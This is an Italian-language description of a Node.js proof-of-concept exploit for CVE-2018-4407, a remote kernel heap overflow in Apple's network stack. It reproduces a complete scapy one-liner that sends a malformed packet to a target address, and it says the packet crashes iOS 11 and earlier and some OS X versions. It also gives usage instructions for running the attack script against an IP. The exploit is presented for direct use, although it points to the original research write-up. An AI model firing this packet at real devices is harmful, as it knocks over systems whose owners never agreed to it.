
Codice exploit PoC per Node.js per CVE-2018-4407
Codice PoC di exploit Node.js per CVE-2018-4407
Autore: Sam Decrock
Questo script è basato sullo script scapy fornito da Zuk:
iOS 12 / OS X *Remote Kernel Heap Overflow (CVE-2018-4407) POC* in un tweet:
— Zuk (@ihackbanme) 1 novembre 2018
pip install scapy
sudo scapy
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))
Fa crashare i dispositivi con iOS 11 o precedenti, così come alcune versioni di OS X.
Per installare i moduli richiesti, esegui:
npm install
Per eseguire, passa l'indirizzo IP di destinazione come argomento:
node attack.js 192.168.1.20
Articolo originale di Kevin Backhouse: https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407